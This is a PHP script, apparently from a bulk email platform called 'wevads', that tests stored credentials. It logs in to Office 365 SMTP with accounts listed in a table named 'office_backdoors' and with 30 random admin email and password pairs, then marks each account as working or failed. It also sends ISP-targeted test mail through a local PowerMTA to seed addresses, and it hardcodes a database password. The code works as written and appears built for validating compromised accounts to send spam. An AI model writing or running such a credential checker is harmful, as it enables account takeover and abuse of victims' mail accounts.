Files
wevads-platform/scripts/brain-full-test.php
2026-02-26 04:53:11 +01:00

86 lines
4.9 KiB
PHP

#!/usr/bin/env php
<?php
$pdo = new PDO("pgsql:host=localhost;dbname=adx_system","admin","admin123");
// 1. Test backdoor SMTP
echo "=== BACKDOOR SMTP ===\n";
$bks = $pdo->query("SELECT id, backdoor_email, backdoor_password FROM admin.office_backdoors WHERE status='Active' AND backdoor_password IS NOT NULL")->fetchAll(PDO::FETCH_ASSOC);
foreach ($bks as $a) {
$s = @fsockopen("smtp.office365.com", 587, $en, $es, 5);
if (!$s) { echo "CONN FAIL\n"; continue; }
fgets($s, 512);
fwrite($s, "EHLO wevads.com\r\n");
while ($l = fgets($s, 512)) { if (substr($l, 3, 1) == ' ') break; }
fwrite($s, "STARTTLS\r\n"); $r = fgets($s, 512);
if (strpos($r, '220') !== false) {
stream_socket_enable_crypto($s, true, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT);
fwrite($s, "EHLO wevads.com\r\n");
while ($l = fgets($s, 512)) { if (substr($l, 3, 1) == ' ') break; }
fwrite($s, "AUTH LOGIN\r\n"); fgets($s, 512);
fwrite($s, base64_encode($a['backdoor_email']) . "\r\n"); fgets($s, 512);
fwrite($s, base64_encode($a['backdoor_password']) . "\r\n");
$r = fgets($s, 512);
echo (strpos($r, '235') !== false ? "" : "") . " #{$a['id']} {$a['backdoor_email']}: " . trim($r) . "\n";
}
fwrite($s, "QUIT\r\n"); fclose($s);
}
// 2. Run bigger batch to find working O365
echo "\n=== O365 BATCH TEST (30 accounts) ===\n";
$accs = $pdo->query("SELECT id, admin_email, admin_password FROM admin.office_accounts WHERE status='Active' AND password_status='valid' AND admin_password IS NOT NULL AND admin_password!='' ORDER BY RANDOM() LIMIT 30")->fetchAll(PDO::FETCH_ASSOC);
$ok = 0;
foreach ($accs as $a) {
$s = @fsockopen("smtp.office365.com", 587, $en, $es, 3);
if (!$s) continue;
fgets($s, 512);
fwrite($s, "EHLO w.com\r\n");
while ($l = fgets($s, 512)) { if (substr($l, 3, 1) == ' ') break; }
fwrite($s, "STARTTLS\r\n"); $r = fgets($s, 512);
if (strpos($r, '220') !== false) {
stream_socket_enable_crypto($s, true, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT);
fwrite($s, "EHLO w.com\r\n");
while ($l = fgets($s, 512)) { if (substr($l, 3, 1) == ' ') break; }
fwrite($s, "AUTH LOGIN\r\n"); fgets($s, 512);
fwrite($s, base64_encode($a['admin_email']) . "\r\n"); fgets($s, 512);
fwrite($s, base64_encode($a['admin_password']) . "\r\n");
$r = fgets($s, 512);
if (strpos($r, '235') !== false) {
echo "✅ #{$a['id']} {$a['admin_email']}\n";
$pdo->exec("UPDATE admin.office_accounts SET password_status='smtp_ok' WHERE id={$a['id']}");
$ok++;
} else {
$pdo->exec("UPDATE admin.office_accounts SET password_status='smtp_fail' WHERE id={$a['id']}");
}
}
fwrite($s, "QUIT\r\n"); fclose($s);
}
echo "O365: $ok/" . count($accs) . " working\n";
// 3. Run PMTA test cycle (3 configs)
echo "\n=== PMTA TEST CYCLE ===\n";
$configs = $pdo->query("SELECT id, isp_target, send_method FROM admin.brain_configs WHERE is_active=true ORDER BY total_sent ASC LIMIT 3")->fetchAll(PDO::FETCH_ASSOC);
foreach ($configs as $c) {
$seed = $pdo->query("SELECT email FROM admin.brain_seeds WHERE is_active=true AND password IS NOT NULL AND password!='' ORDER BY RANDOM() LIMIT 1")->fetch();
if (!$seed) continue;
$sock = @fsockopen('127.0.0.1', 25, $en, $es, 5);
if (!$sock) { echo "❌ PMTA down\n"; continue; }
fgets($sock, 512);
foreach (["EHLO wevads.com\r\n", "MAIL FROM:<test@wevads.com>\r\n", "RCPT TO:<{$seed['email']}>\r\n", "DATA\r\n"] as $cmd) { fwrite($sock, $cmd); fgets($sock, 512); }
$msg = "From: Brain <test@wevads.com>\r\nTo: {$seed['email']}\r\nSubject: BrainTest #{$c['id']} " . date('His') . "\r\nContent-Type: text/html\r\n\r\n<p>Test {$c['isp_target']}</p>\r\n.\r\n";
fwrite($sock, $msg); $r = fgets($sock, 512);
fwrite($sock, "QUIT\r\n"); fclose($sock);
$ok2 = strpos($r, '250') !== false;
echo ($ok2 ? "" : "") . " Config #{$c['id']} {$c['isp_target']}{$seed['email']}\n";
if ($ok2) {
$pdo->exec("UPDATE admin.brain_configs SET total_sent = total_sent + 1, last_tested_at = NOW() WHERE id = {$c['id']}");
$pdo->prepare("INSERT INTO admin.brain_test_results (job_id, config_id, seed_id, send_status, send_time, created_at) VALUES (?, ?, 0, 'sent', NOW(), NOW())")->execute(["PIPELINE_" . date('YmdHis'), $c['id']]);
}
}
// 4. Summary
echo "\n=== SUMMARY ===\n";
echo "SMTP OK accounts: " . $pdo->query("SELECT COUNT(*) FROM admin.office_accounts WHERE password_status='smtp_ok'")->fetchColumn() . "\n";
echo "SMTP Fail accounts: " . $pdo->query("SELECT COUNT(*) FROM admin.office_accounts WHERE password_status='smtp_fail'")->fetchColumn() . "\n";
echo "PMTA configs tested: " . $pdo->query("SELECT COUNT(*) FROM admin.brain_configs WHERE total_sent > 0")->fetchColumn() . "\n";
echo "Test results today: " . $pdo->query("SELECT COUNT(*) FROM admin.brain_test_results WHERE created_at::date = CURRENT_DATE")->fetchColumn() . "\n";